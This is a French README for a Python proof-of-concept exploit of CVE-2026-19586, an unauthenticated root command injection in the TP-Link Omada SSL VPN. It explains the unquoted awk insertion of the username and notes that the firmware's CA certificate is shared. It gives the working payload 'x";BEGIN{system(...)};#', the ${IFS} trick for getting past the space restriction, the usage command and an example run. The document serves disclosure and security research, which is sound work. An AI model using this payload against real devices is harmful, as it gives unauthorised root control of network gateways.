
PoC Python exploitant CVE-2026-19586, une injection de commande non authentifiée dans le VPN SSL TP-Link Omada qui exécute des commandes arbitraires en tant que root via l'injection du nom d'utilisateur OpenVPN.
TP-Link Omada SSL VPN RCE non authentifiée (CVE-2026-19586)
Une vulnérabilité d'injection de commande (CWE-78) dans le chemin d'authentification du SSL VPN du firmware des passerelles TP-Link Omada permet à un attaquant non authentifié d'exécuter des commandes arbitraires en tant que root. Lorsque le serveur SSL VPN basé sur OpenVPN est activé, OpenVPN transmet le nom d'utilisateur soumis par le client qui se connecte à /usr/sbin/checkpsw.sh, le script associé à la directive auth-user-pass-verify. Ce script insère le nom d'utilisateur sans guillemets dans un programme awk, de sorte qu'un nom d'utilisateur contenant un guillemet double ferme le littéral de chaîne awk dans lequel il est inséré et le reste est interprété comme du code source awk.
Un bloc BEGIN d'awk s'exécute une fois avant la lecture de la première ligne d'entrée, de sorte que l'appel system() injecté s'exécute avant que le mot de passe soumis ne soit comparé à quoi que ce soit, en tant que root.
Le serveur ne requiert aucun certificat client et ne comporte aucune clé tls-auth ou tls-crypt, et son certificat CA est codé en dur dans l'image du firmware. Le fichier ca.crt de ce dépôt est ce certificat, et il est identique sur chaque appareil exécutant le firmware affecté, de sorte que tout attaquant capable d'atteindre le port VPN peut terminer la poignée de main TLS et atteindre l'injection sans identifiants et sans accès préalable à l'appareil.
Le nom d'utilisateur ne peut pas contenir d'espaces littéraux, car le shell divise l'expansion non citée en arguments séparés avant qu'awk ne la voie. Utilisez ${IFS} à leur place, que le shell invoqué par system() réexpande en espace. OpenVPN limite le nom d'utilisateur à 128 octets ; la structure de la charge utile en utilise 22, laissant 106 pour la commande.
Cette preuve de concept (PoC) a été testée contre le TP-Link Omada ER7212PC v2 (firmware 6.1.0.19). Le script vulnérable est partagé sur toute la gamme de passerelles Omada ; les chemins, numéros de ligne et comportements peuvent différer sur d'autres modèles ou versions de firmware.
Cette PoC délivre une charge utile de nom d'utilisateur qui est exécutée en tant que root sur l'appareil cible. Ce problème a été signalé à TP-Link et corrigé dans les versions de firmware listées dans l'avis ; exécutez ceci uniquement contre du matériel que vous possédez ou êtes explicitement autorisé à tester.
$ sudo python3 cve-2026-19586.py <target> -c '<command>'
Le client openvpn est requis, et doit être exécuté en tant que root, car il a besoin de CAP_NET_ADMIN pour créer le périphérique tun. Il s'agit d'une exigence du client OpenVPN local, et non de la cible.
Exemple d'exécution :
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
Target : 10.0.0.100:1194/udp
CA cert : ca.crt
Command : id>/tmp/proof
Username : x";BEGIN{system("id>/tmp/proof")};#
[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3
[openvpn client output]
La commande s'exécute sur l'appareil avant que l'authentification ne se termine, de sorte que le client OpenVPN lui-même ne se connectera pas. La tentative d'authentification échoue et le client se termine, ce qui est attendu.
| Argument | Description |
|---|
target | IP ou nom d'hôte de l'appareil cible |
-c, --command | Commande à exécuter en tant que root sur la cible. Utilisez ${IFS} à la place des espaces |
-p, --port | Port UDP du SSL VPN (par défaut : 1194) |
--ca | Certificat CA extrait du firmware (par défaut : ca.crt) |